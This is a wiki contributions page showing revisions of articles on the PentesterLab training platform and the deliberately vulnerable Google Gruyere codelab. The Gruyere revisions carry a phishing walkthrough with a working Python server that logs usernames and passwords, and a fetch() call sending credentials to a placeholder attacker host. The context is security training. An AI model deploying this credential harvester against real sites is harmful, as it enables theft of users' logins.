Elvis Wiki - User contributions [en]

PentesterLab

2024-12-18T20:35:39Z

BSener: /* References */

== Summary ==

PentesterLab was founded by Louis Nyffenegger, a security engineer who transformed his passion for cybersecurity into a comprehensive training platform. Established in 2011, PentesterLab offers hands-on exercises and real-world scenarios to help users develop practical skills in web application security and penetration testing. Nyffenegger's vision was to create an accessible and effective learning environment for both beginners and seasoned professionals, emphasizing manual exploitation techniques and the development of custom tools. Under his leadership, PentesterLab has grown into a trusted resource for individuals and organizations seeking to enhance their cybersecurity expertise.

== Requirements ==

* Operating system: Not specific, as it is web-based. But you can install a VM locally (Linux Debian).
* Additional software: An up-to-date web browser

== Description ==
PentesterLab is an online learning platform dedicated to teaching practical cybersecurity and penetration testing skills through hands-on labs and real-world scenarios. The website offers a wide variety of resources, including guided exercises, comprehensive tutorials, and challenges that cover topics such as web application security, vulnerability identification, exploitation techniques, and post-exploitation practices. Users can explore different learning paths, tailored for both beginners and advanced professionals, focusing on specific areas like OWASP vulnerabilities, cryptography, or API security. Each lab comes with detailed explanations and code examples to help users understand and apply their knowledge effectively. Additionally, PentesterLab provides certificates for completed courses, making it a valuable tool for personal development and career advancement in cybersecurity.
== Playfull concept ==

The <b>Capture the Flag (CTF)</b> principle in PentesterLab is centered around interactive, challenge-based learning designed to teach and test cybersecurity skills. In these CTF-style exercises, users are tasked with identifying vulnerabilities, exploiting them, and ultimately retrieving a specific "flag"—a piece of text or code that confirms successful completion of the task.

PentesterLab’s CTF challenges range from beginner-friendly scenarios to highly advanced tasks, covering areas such as SQL injection, cross-site scripting (XSS), authentication bypasses, cryptographic flaws, and more. Each challenge simulates real-world penetration testing scenarios, allowing users to practice reconnaissance, attack planning, and exploitation techniques in a controlled environment. The flags act as milestones, motivating learners to think critically, debug issues, and refine their ethical hacking skills. Detailed explanations and walkthroughs accompany many challenges, making the CTF approach both educational and engaging.

== Badges ==

PentesterLab offers various certificates, known as badges, that showcase proficiency in specific areas of web application security and penetration testing. These badges include the <b>Introduction Badge</b>, which teaches the basics of using PentesterLab; the <b>Essential Badge</b>, covering common web vulnerabilities like SQL injection and XSS; the <b>PCAP Badge</b>, focusing on network traffic analysis through packet captures; and the <b>Code Review Badge</b>, designed to develop skills in identifying vulnerabilities through source code review. Each badge consists of practical exercises and instructional videos, with a certificate of completion awarded to users upon successful mastery of the material, making these badges valuable credentials for cybersecurity professionals at all levels.

[[File:Badges.png|thumb|none|400px|PentesterLab Badges; source: https://miro.medium.com/]]

== Similar Codelabs ==

* [https://www.hackthebox.com/ HackTheBox]
* [https://tryhackme.com/ TryHackMe]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://wikipedia.org
* https://pentesterlab.com/
* https://medium.com/techspace-usict/
* https://owasp.org/www-project-top-ten/

[[Category:Documentation]]

PentesterLab

2024-12-18T20:34:40Z

BSener: /* Badges */

File:Badges.png

2024-12-18T20:34:15Z

BSener:

PentesterLab

2024-12-18T20:33:43Z

BSener: /* Requirements */

== Summary ==

PentesterLab was founded by Louis Nyffenegger, a security engineer who transformed his passion for cybersecurity into a comprehensive training platform. Established in 2011, PentesterLab offers hands-on exercises and real-world scenarios to help users develop practical skills in web application security and penetration testing. Nyffenegger's vision was to create an accessible and effective learning environment for both beginners and seasoned professionals, emphasizing manual exploitation techniques and the development of custom tools. Under his leadership, PentesterLab has grown into a trusted resource for individuals and organizations seeking to enhance their cybersecurity expertise.

== Requirements ==

* Operating system: Not specific, as it is web-based. But you can install a VM locally (Linux Debian).
* Additional software: An up-to-date web browser

== Description ==
PentesterLab is an online learning platform dedicated to teaching practical cybersecurity and penetration testing skills through hands-on labs and real-world scenarios. The website offers a wide variety of resources, including guided exercises, comprehensive tutorials, and challenges that cover topics such as web application security, vulnerability identification, exploitation techniques, and post-exploitation practices. Users can explore different learning paths, tailored for both beginners and advanced professionals, focusing on specific areas like OWASP vulnerabilities, cryptography, or API security. Each lab comes with detailed explanations and code examples to help users understand and apply their knowledge effectively. Additionally, PentesterLab provides certificates for completed courses, making it a valuable tool for personal development and career advancement in cybersecurity.
== Playfull concept ==

The <b>Capture the Flag (CTF)</b> principle in PentesterLab is centered around interactive, challenge-based learning designed to teach and test cybersecurity skills. In these CTF-style exercises, users are tasked with identifying vulnerabilities, exploiting them, and ultimately retrieving a specific "flag"—a piece of text or code that confirms successful completion of the task.

PentesterLab’s CTF challenges range from beginner-friendly scenarios to highly advanced tasks, covering areas such as SQL injection, cross-site scripting (XSS), authentication bypasses, cryptographic flaws, and more. Each challenge simulates real-world penetration testing scenarios, allowing users to practice reconnaissance, attack planning, and exploitation techniques in a controlled environment. The flags act as milestones, motivating learners to think critically, debug issues, and refine their ethical hacking skills. Detailed explanations and walkthroughs accompany many challenges, making the CTF approach both educational and engaging.

== Badges ==

PentesterLab offers various certificates, known as badges, that showcase proficiency in specific areas of web application security and penetration testing. These badges include the <b>Introduction Badge</b>, which teaches the basics of using PentesterLab; the <b>Essential Badge</b>, covering common web vulnerabilities like SQL injection and XSS; the <b>PCAP Badge</b>, focusing on network traffic analysis through packet captures; and the <b>Code Review Badge</b>, designed to develop skills in identifying vulnerabilities through source code review. Each badge consists of practical exercises and instructional videos, with a certificate of completion awarded to users upon successful mastery of the material, making these badges valuable credentials for cybersecurity professionals at all levels.

[[File:Badges.png|thumb|none|400px|PentesterLab Badges; source: https://miro.medium.com/v2/resize:fit:4800/format:webp/1*uXstZHOkERsqi4fw6BiMkg.png]]

== Similar Codelabs ==

* [https://www.hackthebox.com/ HackTheBox]
* [https://tryhackme.com/ TryHackMe]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://wikipedia.org
* https://pentesterlab.com/
* https://medium.com/techspace-usict/

[[Category:Documentation]]

PentesterLab

2024-12-18T20:33:27Z

BSener:

== Summary ==

PentesterLab was founded by Louis Nyffenegger, a security engineer who transformed his passion for cybersecurity into a comprehensive training platform. Established in 2011, PentesterLab offers hands-on exercises and real-world scenarios to help users develop practical skills in web application security and penetration testing. Nyffenegger's vision was to create an accessible and effective learning environment for both beginners and seasoned professionals, emphasizing manual exploitation techniques and the development of custom tools. Under his leadership, PentesterLab has grown into a trusted resource for individuals and organizations seeking to enhance their cybersecurity expertise.

== Requirements ==

* Operating system: Not specific, as it is web-based. But you can install a VM locally (Linux Debian).
* Additional software: An up-to-date web browser

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==
PentesterLab is an online learning platform dedicated to teaching practical cybersecurity and penetration testing skills through hands-on labs and real-world scenarios. The website offers a wide variety of resources, including guided exercises, comprehensive tutorials, and challenges that cover topics such as web application security, vulnerability identification, exploitation techniques, and post-exploitation practices. Users can explore different learning paths, tailored for both beginners and advanced professionals, focusing on specific areas like OWASP vulnerabilities, cryptography, or API security. Each lab comes with detailed explanations and code examples to help users understand and apply their knowledge effectively. Additionally, PentesterLab provides certificates for completed courses, making it a valuable tool for personal development and career advancement in cybersecurity.
== Playfull concept ==

The <b>Capture the Flag (CTF)</b> principle in PentesterLab is centered around interactive, challenge-based learning designed to teach and test cybersecurity skills. In these CTF-style exercises, users are tasked with identifying vulnerabilities, exploiting them, and ultimately retrieving a specific "flag"—a piece of text or code that confirms successful completion of the task.

PentesterLab’s CTF challenges range from beginner-friendly scenarios to highly advanced tasks, covering areas such as SQL injection, cross-site scripting (XSS), authentication bypasses, cryptographic flaws, and more. Each challenge simulates real-world penetration testing scenarios, allowing users to practice reconnaissance, attack planning, and exploitation techniques in a controlled environment. The flags act as milestones, motivating learners to think critically, debug issues, and refine their ethical hacking skills. Detailed explanations and walkthroughs accompany many challenges, making the CTF approach both educational and engaging.

== Badges ==

PentesterLab offers various certificates, known as badges, that showcase proficiency in specific areas of web application security and penetration testing. These badges include the <b>Introduction Badge</b>, which teaches the basics of using PentesterLab; the <b>Essential Badge</b>, covering common web vulnerabilities like SQL injection and XSS; the <b>PCAP Badge</b>, focusing on network traffic analysis through packet captures; and the <b>Code Review Badge</b>, designed to develop skills in identifying vulnerabilities through source code review. Each badge consists of practical exercises and instructional videos, with a certificate of completion awarded to users upon successful mastery of the material, making these badges valuable credentials for cybersecurity professionals at all levels.

[[File:Badges.png|thumb|none|400px|PentesterLab Badges; source: https://miro.medium.com/v2/resize:fit:4800/format:webp/1*uXstZHOkERsqi4fw6BiMkg.png]]

== Similar Codelabs ==

* [https://www.hackthebox.com/ HackTheBox]
* [https://tryhackme.com/ TryHackMe]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://wikipedia.org
* https://pentesterlab.com/
* https://medium.com/techspace-usict/

[[Category:Documentation]]

PentesterLab

2024-12-18T20:27:33Z

BSener:

== Summary ==

PentesterLab was founded by Louis Nyffenegger, a security engineer who transformed his passion for cybersecurity into a comprehensive training platform. Established in 2011, PentesterLab offers hands-on exercises and real-world scenarios to help users develop practical skills in web application security and penetration testing. Nyffenegger's vision was to create an accessible and effective learning environment for both beginners and seasoned professionals, emphasizing manual exploitation techniques and the development of custom tools. Under his leadership, PentesterLab has grown into a trusted resource for individuals and organizations seeking to enhance their cybersecurity expertise.

== Requirements ==

* Operating system: Not specific, as it is web-based. But you can install a VM locally (Linux Debian).
* Additional software: An up-to-date web browser

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==
PentesterLab is an online learning platform dedicated to teaching practical cybersecurity and penetration testing skills through hands-on labs and real-world scenarios. The website offers a wide variety of resources, including guided exercises, comprehensive tutorials, and challenges that cover topics such as web application security, vulnerability identification, exploitation techniques, and post-exploitation practices. Users can explore different learning paths, tailored for both beginners and advanced professionals, focusing on specific areas like OWASP vulnerabilities, cryptography, or API security. Each lab comes with detailed explanations and code examples to help users understand and apply their knowledge effectively. Additionally, PentesterLab provides certificates for completed courses, making it a valuable tool for personal development and career advancement in cybersecurity.
=== Playfull concept ===

The <b>Capture the Flag (CTF)</b> principle in PentesterLab is centered around interactive, challenge-based learning designed to teach and test cybersecurity skills. In these CTF-style exercises, users are tasked with identifying vulnerabilities, exploiting them, and ultimately retrieving a specific "flag"—a piece of text or code that confirms successful completion of the task.

PentesterLab’s CTF challenges range from beginner-friendly scenarios to highly advanced tasks, covering areas such as SQL injection, cross-site scripting (XSS), authentication bypasses, cryptographic flaws, and more. Each challenge simulates real-world penetration testing scenarios, allowing users to practice reconnaissance, attack planning, and exploitation techniques in a controlled environment. The flags act as milestones, motivating learners to think critically, debug issues, and refine their ethical hacking skills. Detailed explanations and walkthroughs accompany many challenges, making the CTF approach both educational and engaging.

=== Badges ===

PentesterLab offers various certificates, known as badges, that showcase proficiency in specific areas of web application security and penetration testing. These badges include the <b>Introduction Badge</b>, which teaches the basics of using PentesterLab; the <b>Essential Badge</b>, covering common web vulnerabilities like SQL injection and XSS; the <b>PCAP Badge</b>, focusing on network traffic analysis through packet captures; and the <b>Code Review Badge</b>, designed to develop skills in identifying vulnerabilities through source code review. Each badge consists of practical exercises and instructional videos, with a certificate of completion awarded to users upon successful mastery of the material, making these badges valuable credentials for cybersecurity professionals at all levels.

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

PentesterLab

2024-12-18T20:13:59Z

BSener: Created

== Summary ==

Description what this documentation is about.

== Requirements ==

* Operating system: Ubuntu 18.04 bionic amd64
* Packages: git emacs

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==

=== Step 1 ===

Enter these commands in the shell

echo foo
echo bar

=== Step 2 ===

Make sure to read

* War and Peace
* Lord of the Rings
* The Baroque Cycle

== Used Hardware ==

[[Device to be used with this documentation]]
[[Maybe another device to be used with this documentation]]

== Courses ==

* [[A course where this documentation was used]] (2017, 2018)
* [[Another one]] (2018)

== References ==

* https://wikipedia.org
* https://google.com

[[Category:Documentation]]

Google Gruyere

2024-12-18T20:12:31Z

BSener: Attack example for password stealing added

== Summary ==

Google Gruyere is an educational codelab developed by Bruce Leban, Mugdha Bendre, and Parisa Tabriz to demonstrate common security vulnerabilities in web applications and provide solutions to these problems. It serves as a practical platform for learning how to identify and avoid security risks.

<div><ul>
<li style="display: inline-block;"> [[File:Gruyere 1.png|thumb|none|400px|Google Gruyere; source: https://google-gruyere.appspot.com]] </li>
</ul></div>

== Requirements ==

* Operating system: Not specific, as it is web-based
* Additional software: An up-to-date web browser

== Description ==

The Codelab is organized by types of vulnerabilities. In each section you will find a short description of a vulnerability and a task to find an example of this vulnerability in Gruyere. Our task now is to slip into the role of a malicious hacker and find and exploit the vulnerabilities.

If needed, there are further hints. There are also solutions on how to eliminate these security gaps.

In the Codelab, we will use both black-box hacking and white-box hacking. Black-box hacking involves trying to find vulnerabilities by experimenting with the application and manipulating input fields and URL parameters, trying to cause application errors, and looking at the HTTP requests and responses to guess the server behavior. You do not have access to the source code.

With white-box hacking, you have access to the source code and can perform automated or manual analysis to find errors. You can therefore treat Gruyere as if it were open source: read through the source code and try to find errors. Gruyere is written in Python, so a certain familiarity with Python can be helpful. However, the vulnerabilities covered are not Python-specific, and you can do most of the exercise without having to look at the code.

== Access ==

To access Google Gruyere follow the following Steps:

=== Step 1 ===

Visit the [https://google-gruyere.appspot.com Google Gruyere website] and follow the instructions to start the exercises.

=== Step 2 ===

After that, click "Continue". This will lead you to [https://google-gruyere.appspot.com/part1 Part1] of the Website, where you lern how to access Gruyere, view the code and you will be given a few tasks to familiarize yourself with Gruyere. If you proceed to click "Continue" you will get to Part 2 - 5 of the Gruyere Website, where the challenges will be listed.

=== Step 3 ===

Now you can open the [https://google-gruyere.appspot.com/start Start link] to access the codelab.

== Concepts used ==

* <b>Cross-Site Scripting (XSS)</b>
➥ An attack in which malicious code is injected into a trusted website. The code is then executed by unsuspecting users, which can lead to data leaks or other security problems.

* <b>Client-State Manipulation</b>
➥ An attacker manipulates the state of the client application (such as a web browser), often to circumvent security mechanisms or to fake false information.

* <b>Cross-Site Request Forgery (XSRF)</b>
➥ An attack in which the attacker performs an action on behalf of an authenticated user, often without the user's knowledge or consent.

* <b>Cross Site Script Inclusion (XSSI)</b>
➥ A variant of XSS in which malicious scripts from an external source are integrated into a website.

* <b>Path Traversal</b>
➥ An attack that is exploited to access files and directories located outside the intended web directory, often to obtain or manipulate sensitive data.

* <b>Denial of Service (DoS)</b>
➥ Attacks aimed at making a service, such as a website, inaccessible, often by overloading the server.

* <b>Code Execution</b>
➥ A vulnerability that allows an attacker to execute arbitrary code on a target device or server, which can lead to a complete takeover.

* <b>Configuration Vulnerabilities</b>
➥ Security vulnerabilities that arise due to misconfigurations in software or systems.

* <b>AJAX Vulnerabilities</b>
➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.

== Attack Example ==
<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
<h3>Step 1: Python Server</h3>
Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server. The log file is named passwrd.log in this example:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
from datetime import datetime
from urllib.parse import parse_qs
# Pfad zur Datei, in die geschrieben werden soll
LOG_FILE = "passwrd.log"
class RequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
# CORS-Header für Preflight-Anfragen setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def do_POST(self):
# CORS-Header setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
# Content-Length auslesen, um die Größe der Daten zu kennen
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
# Eingabedaten parsen
data = parse_qs(post_data)
username = data.get('username', [''])[0]
password = data.get('password', [''])[0]
# Aktuelles Datum und Uhrzeit
timestamp = datetime.now().strftime('%Y-%m-%d [%H:%M:%S]')
# Logeintrag erstellen
log_entry = f"{timestamp}: Username: {username} / Password: {password}\n"
# Daten in die Datei schreiben
with open(LOG_FILE, "a") as file:
file.write(log_entry)
# Erfolgsnachricht senden
self.wfile.write(b"Data saved successfully\n")
# HTTP-Server starten
def run_server():
server_address = ("0.0.0.0", 8080)
httpd = HTTPServer(server_address, RequestHandler)
print(f"Server running on http://0.0.0.0:8080, writing to {LOG_FILE}")
httpd.serve_forever()
if __name__ == "__main__":
# Sicherstellen, dass die Logdatei existiert
if not os.path.exists(LOG_FILE):
with open(LOG_FILE, "w") as file:
file.write("")
run_server()

If you are using an online instance of Google Gruyere webpage you might need to bypass HTTPS. You can use ngrok to do so (https://ngrok.com).
<h3>Step 2: Create a Login HTML</h3>
You can create any kind of login page but make sure to include an input for username and password. Your page should contain a script that executes a HTTP request to your local server. This is an example:
try {
const response = await fetch(
"https://<local-server-ip-address>",
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `username=${encodeURIComponent(
username
)}&password=${encodeURIComponent(password)}`,
mode: "no-cors", // Keine CORS-Prüfung durchführen
}
);
if (response.ok) {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
} else {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
}
} catch (error) {
messageDiv.textContent =
"An error occurred. Please check your connection.";
}
form.reset();
});
In this example the user is redirected to the Google Gruyere homepage after entering his information.
<h3>Step 3: Upload file</h3>

1. Create an user account on Google Gruyere webpage<br>
2. Go to the "Upload" Tab and upload the code of your login page<br>
3. You will get a link to where your file is available. Copy that link and move on to Step 4.
<h3>Step 4: Inject link to your page</h3>
Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:
[[File:injection.png|thumb|none|400px|Injection]]
<h3>Step 5: Start attack</h3>
Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.
Now start your server and wait for someone to fall into your trap.
[[File:MySnippets.png|thumb|none|300px|MySnippets Page]][[File:LoginPage.png|thumb|none|300px|Malicious Login Page]]
[[File:PasswordLog.png|thumb|none|300px|Log File]]

== Similar Codelabs ==

* [https://owasp.org/www-project-webgoat/ OWASP Webgoat]
* [https://wiki.elvis.science/index.php?title=DVWA DVWA (Damn Vulnerable Web Application)]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://google-gruyere.appspot.com/
* https://google-gruyere.appspot.com/part1
* https://google-gruyere.appspot.com/start
* https://owasp.org/www-project-top-ten/
* https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

[[Category:Documentation]]

Google Gruyere

2024-12-18T20:11:01Z

BSener:

== Summary ==

Google Gruyere is an educational codelab developed by Bruce Leban, Mugdha Bendre, and Parisa Tabriz to demonstrate common security vulnerabilities in web applications and provide solutions to these problems. It serves as a practical platform for learning how to identify and avoid security risks.

<div><ul>
<li style="display: inline-block;"> [[File:Gruyere 1.png|thumb|none|400px|Google Gruyere; source: https://google-gruyere.appspot.com]] </li>
</ul></div>

== Requirements ==

* Operating system: Not specific, as it is web-based
* Additional software: An up-to-date web browser

== Description ==

The Codelab is organized by types of vulnerabilities. In each section you will find a short description of a vulnerability and a task to find an example of this vulnerability in Gruyere. Our task now is to slip into the role of a malicious hacker and find and exploit the vulnerabilities.

If needed, there are further hints. There are also solutions on how to eliminate these security gaps.

In the Codelab, we will use both black-box hacking and white-box hacking. Black-box hacking involves trying to find vulnerabilities by experimenting with the application and manipulating input fields and URL parameters, trying to cause application errors, and looking at the HTTP requests and responses to guess the server behavior. You do not have access to the source code.

With white-box hacking, you have access to the source code and can perform automated or manual analysis to find errors. You can therefore treat Gruyere as if it were open source: read through the source code and try to find errors. Gruyere is written in Python, so a certain familiarity with Python can be helpful. However, the vulnerabilities covered are not Python-specific, and you can do most of the exercise without having to look at the code.

== Access ==

To access Google Gruyere follow the following Steps:

=== Step 1 ===

Visit the [https://google-gruyere.appspot.com Google Gruyere website] and follow the instructions to start the exercises.

=== Step 2 ===

After that, click "Continue". This will lead you to [https://google-gruyere.appspot.com/part1 Part1] of the Website, where you lern how to access Gruyere, view the code and you will be given a few tasks to familiarize yourself with Gruyere. If you proceed to click "Continue" you will get to Part 2 - 5 of the Gruyere Website, where the challenges will be listed.

=== Step 3 ===

Now you can open the [https://google-gruyere.appspot.com/start Start link] to access the codelab.

== Concepts used ==

* <b>Cross-Site Scripting (XSS)</b>
➥ An attack in which malicious code is injected into a trusted website. The code is then executed by unsuspecting users, which can lead to data leaks or other security problems.

* <b>Client-State Manipulation</b>
➥ An attacker manipulates the state of the client application (such as a web browser), often to circumvent security mechanisms or to fake false information.

* <b>Cross-Site Request Forgery (XSRF)</b>
➥ An attack in which the attacker performs an action on behalf of an authenticated user, often without the user's knowledge or consent.

* <b>Cross Site Script Inclusion (XSSI)</b>
➥ A variant of XSS in which malicious scripts from an external source are integrated into a website.

* <b>Path Traversal</b>
➥ An attack that is exploited to access files and directories located outside the intended web directory, often to obtain or manipulate sensitive data.

* <b>Denial of Service (DoS)</b>
➥ Attacks aimed at making a service, such as a website, inaccessible, often by overloading the server.

* <b>Code Execution</b>
➥ A vulnerability that allows an attacker to execute arbitrary code on a target device or server, which can lead to a complete takeover.

* <b>Configuration Vulnerabilities</b>
➥ Security vulnerabilities that arise due to misconfigurations in software or systems.

* <b>AJAX Vulnerabilities</b>
➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.

== Attack Example ==
<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
<h3>Step 1: Python Server</h3>
Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server. The log file is named passwrd.log in this example:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
from datetime import datetime
from urllib.parse import parse_qs
# Pfad zur Datei, in die geschrieben werden soll
LOG_FILE = "passwrd.log"
class RequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
# CORS-Header für Preflight-Anfragen setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def do_POST(self):
# CORS-Header setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
# Content-Length auslesen, um die Größe der Daten zu kennen
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
# Eingabedaten parsen
data = parse_qs(post_data)
username = data.get('username', [''])[0]
password = data.get('password', [''])[0]
# Aktuelles Datum und Uhrzeit
timestamp = datetime.now().strftime('%Y-%m-%d [%H:%M:%S]')
# Logeintrag erstellen
log_entry = f"{timestamp}: Username: {username} / Password: {password}\n"
# Daten in die Datei schreiben
with open(LOG_FILE, "a") as file:
file.write(log_entry)
# Erfolgsnachricht senden
self.wfile.write(b"Data saved successfully\n")
# HTTP-Server starten
def run_server():
server_address = ("0.0.0.0", 8080)
httpd = HTTPServer(server_address, RequestHandler)
print(f"Server running on http://0.0.0.0:8080, writing to {LOG_FILE}")
httpd.serve_forever()
if __name__ == "__main__":
# Sicherstellen, dass die Logdatei existiert
if not os.path.exists(LOG_FILE):
with open(LOG_FILE, "w") as file:
file.write("")
run_server()

If you are using an online instance of Google Gruyere webpage you might need to bypass HTTPS. You can use ngrok to do so (https://ngrok.com).
<h3>Step 2: Create a Login HTML</h3>
You can create any kind of login page but make sure to include an input for username and password. Your page should contain a script that executes a HTTP request to your local server. This is an example:
try {
const response = await fetch(
"https://<local-server-ip-address>",
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `username=${encodeURIComponent(
username
)}&password=${encodeURIComponent(password)}`,
mode: "no-cors", // Keine CORS-Prüfung durchführen
}
);
if (response.ok) {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
} else {
window.location.href =
"https://google-gruyere.appspot.com/<id-of-your-online-instace-homepage>/";
}
} catch (error) {
messageDiv.textContent =
"An error occurred. Please check your connection.";
}
form.reset();
});
In this example the user is redirected to the Google Gruyere homepage after entering his information.
<h3>Step 3: Upload file</h3>

1. Create an user account on Google Gruyere webpage<br>
2. Go to the "Upload" Tab and upload the code of your login page<br>
3. You will get a link to where your file is available. Copy that link and move on to Step 4.
<h3>Step 4: Inject link to your page</h3>
Here you can take it a step further and try to elevate your permissions in order to post this link for everybody on the homepage. But either way there is a Tab called "New Snippet" where you can inject html code to your malicious login page. This might look like this:
[[File:injection.png|thumb|none|400px|Injection]]
<h3>Step 5: Start attack</h3>
Your link will be available either on the homepage if you elevated your privileges, or on the "My Snippets" page.
Now start your server and wait for someone to fall into your trap.
[[File:MySnipptes.png|thumb|none|300px|MySnippets Page]][[File:LoginPage.png|thumb|none|300px|Malicious Login Page]]
[[File:PasswordLog.png|thumb|none|300px|Log File]]

== Similar Codelabs ==

* [https://owasp.org/www-project-webgoat/ OWASP Webgoat]
* [https://wiki.elvis.science/index.php?title=DVWA DVWA (Damn Vulnerable Web Application)]
* [https://wiki.elvis.science/index.php?title=BWAPP bWAPP (Buggy Web Application)]

== References ==

* https://google-gruyere.appspot.com/
* https://google-gruyere.appspot.com/part1
* https://google-gruyere.appspot.com/start
* https://owasp.org/www-project-top-ten/
* https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

[[Category:Documentation]]

Google Gruyere

2024-12-18T20:09:36Z

BSener:

== Summary ==

Google Gruyere is an educational codelab developed by Bruce Leban, Mugdha Bendre, and Parisa Tabriz to demonstrate common security vulnerabilities in web applications and provide solutions to these problems. It serves as a practical platform for learning how to identify and avoid security risks.

<div><ul>
<li style="display: inline-block;"> [[File:Gruyere 1.png|thumb|none|400px|Google Gruyere; source: https://google-gruyere.appspot.com]] </li>
</ul></div>

== Requirements ==

* Operating system: Not specific, as it is web-based
* Additional software: An up-to-date web browser

== Description ==

The Codelab is organized by types of vulnerabilities. In each section you will find a short description of a vulnerability and a task to find an example of this vulnerability in Gruyere. Our task now is to slip into the role of a malicious hacker and find and exploit the vulnerabilities.

If needed, there are further hints. There are also solutions on how to eliminate these security gaps.

In the Codelab, we will use both black-box hacking and white-box hacking. Black-box hacking involves trying to find vulnerabilities by experimenting with the application and manipulating input fields and URL parameters, trying to cause application errors, and looking at the HTTP requests and responses to guess the server behavior. You do not have access to the source code.

With white-box hacking, you have access to the source code and can perform automated or manual analysis to find errors. You can therefore treat Gruyere as if it were open source: read through the source code and try to find errors. Gruyere is written in Python, so a certain familiarity with Python can be helpful. However, the vulnerabilities covered are not Python-specific, and you can do most of the exercise without having to look at the code.

== Access ==

To access Google Gruyere follow the following Steps:

=== Step 1 ===

Visit the [https://google-gruyere.appspot.com Google Gruyere website] and follow the instructions to start the exercises.

=== Step 2 ===

After that, click "Continue". This will lead you to [https://google-gruyere.appspot.com/part1 Part1] of the Website, where you lern how to access Gruyere, view the code and you will be given a few tasks to familiarize yourself with Gruyere. If you proceed to click "Continue" you will get to Part 2 - 5 of the Gruyere Website, where the challenges will be listed.

=== Step 3 ===

Now you can open the [https://google-gruyere.appspot.com/start Start link] to access the codelab.

== Concepts used ==

* <b>Cross-Site Scripting (XSS)</b>
➥ An attack in which malicious code is injected into a trusted website. The code is then executed by unsuspecting users, which can lead to data leaks or other security problems.

* <b>Client-State Manipulation</b>
➥ An attacker manipulates the state of the client application (such as a web browser), often to circumvent security mechanisms or to fake false information.

* <b>Cross-Site Request Forgery (XSRF)</b>
➥ An attack in which the attacker performs an action on behalf of an authenticated user, often without the user's knowledge or consent.

* <b>Cross Site Script Inclusion (XSSI)</b>
➥ A variant of XSS in which malicious scripts from an external source are integrated into a website.

* <b>Path Traversal</b>
➥ An attack that is exploited to access files and directories located outside the intended web directory, often to obtain or manipulate sensitive data.

* <b>Denial of Service (DoS)</b>
➥ Attacks aimed at making a service, such as a website, inaccessible, often by overloading the server.

* <b>Code Execution</b>
➥ A vulnerability that allows an attacker to execute arbitrary code on a target device or server, which can lead to a complete takeover.

* <b>Configuration Vulnerabilities</b>
➥ Security vulnerabilities that arise due to misconfigurations in software or systems.

* <b>AJAX Vulnerabilities</b>
➥ Vulnerabilities in Asynchronous JavaScript and XML (AJAX) applications that often lead to problems such as insufficient validation of input data or insecure API endpoints.

== Attack Example ==
<h3>Idea: </h3>Inject a simulated HTML login page that mimics a certified platform. This page incorporates a script to capture the users login data and transmit it to an external malicious server, that logs the information.
<h3>Step 1: Python Server</h3>
Create a local HTTP server with python using BaseHTTPRequestHandler and HTTPServer from http.server. The log file is named passwrd.log in this example:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
from datetime import datetime
from urllib.parse import parse_qs
# Pfad zur Datei, in die geschrieben werden soll
LOG_FILE = "passwrd.log"
class RequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
# CORS-Header für Preflight-Anfragen setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
self.end_headers()
def do_POST(self):
# CORS-Header setzen
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
# Content-Length auslesen, um die Größe der Daten zu kennen
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
